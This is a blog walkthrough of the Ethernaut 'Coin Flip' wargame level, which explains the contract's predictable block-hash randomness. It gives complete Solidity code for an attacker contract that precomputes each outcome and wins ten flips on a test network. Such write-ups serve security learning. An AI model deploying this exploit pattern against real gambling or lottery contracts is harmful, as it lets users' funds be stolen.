DEV Community

hamzairshad02
hamzairshad02

Posted on

Ethernaut Level 3 Walkthrough - Coin Flip

This level represents a simple Coin Flip game where you need to guess that either the coin is going to be Heads or Tails for 10 times consecutively. Now when you flip a coin in real life the chances of Heads and Tails are random. But in this contract the coin flip randomness is calculated by a logic.

The contract contains only one function ‘flip()’ which asks for a guess and returns a bool if the guess is true or false based on a calculation.

function flip(bool _guess) public returns (bool) {
Enter fullscreen mode Exit fullscreen mode

In the calculation logic, the function first calculates the blockValue by getting the blockhash of a blocknumber subtracted by 1.

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
Enter fullscreen mode Exit fullscreen mode

It then proceeds to check whether this calculated hash which is assigned to the blockValue is equal to the previous hash value. If it is the case then it reverts back. If it is not the case then the new lastHash is the current blockValue.

if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
Enter fullscreen mode Exit fullscreen mode

Then it proceeds to calculate the coinFlip value by dividing the blockValue with a given FACTOR number which is hardcoded in the contract.

uint256 coinFlip = blockValue.div(FACTOR);
Enter fullscreen mode Exit fullscreen mode

Then the function proceeds to check what side of the coin came into the result by checking if the coinFlip value is 1 then it is true (similar to Heads of a coin), otherwise it is a false (similar to Tails of a coin).

bool side = coinFlip == 1 ? true : false;
Enter fullscreen mode Exit fullscreen mode

Now the function compares the side of the coin to the guess that was required in the input of this function. If the guess is correct then the consecutiveWins streak gets an increment, if vice versa then the consecutiveWins is set back to the default 0 and one has to start all over again to guess the answer 10 times consecutively in a streak.

if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
Enter fullscreen mode Exit fullscreen mode

What we need is to have the correct guess 10 times in a row to win this level. Now that we understand the logic behind this contract we can use the same logic to calculate the guess on our own made contract and then send this value as a guess from our contract to the given contract and the have correct result every time.

In order to do this, we first need the instance address of the level which is obtained by clicking on the “Get new instance” button.

After that we can launch REMIX IDE and copy the contract given in the level into a new file and make a contract of our own below it and give the instance address of the level to this new contract that we created.

In our contract, we will copy the same calculation logic from the original contract and then write an if-else below it to check if the guess is correct then we will send it to the original contract, if the guess is wrong then we will send the opposite of it to the original contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip("0xdBe530a1A4C84e392Fea2bA9e8E0F5482eC37907"); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {

    uint256 blockValue = uint256(blockhash(block.number-1));
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
        originalContract.flip(_guess);
    } 
    else {
        originalContract.flip(!_guess);
    }
    }
}
Enter fullscreen mode Exit fullscreen mode

Now can you see the hack behind our contract? What we simply doing is calculate the guess by the same logic as the original contract. Since it is a coin it has only two sides, Heads or Tails. So if we get Heads right then we will send it, if it is not Heads then it must be Tails so we will send that to the original contract and have a consecutiveWins increment.

The whole contract will look like this. Note that SafeMath library is commented along with sub() and div() being replaced since it was not working due to compiler and version errors of solidity.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

//import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract CoinFlip {

  //using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract hackCoinFlip {
    address originalAddress = 0xdBe530a1A4C84e392Fea2bA9e8E0F5482eC37907;
    CoinFlip public originalContract = CoinFlip(originalAddress); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {

    uint256 blockValue = uint256(blockhash(block.number-1));
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
        originalContract.flip(_guess);
    } 
    else {
        originalContract.flip(!_guess);
    }
    }
}
Enter fullscreen mode Exit fullscreen mode

Compile and Deploy this file and run hackFlip() function 10 times. Make sure to set the Environment to “Injected Provider - Metamask” in Remix IDE before deploying to have it deployed on your test network.

Now running the hackFlip() 10 times gonna take a lot lot time considering you have to confirm transaction on MetaMask and then view on etherscan to complete one cycle so be patient about that.

Finally, click on the “Submit Instance” button to have your win.

Top comments (0)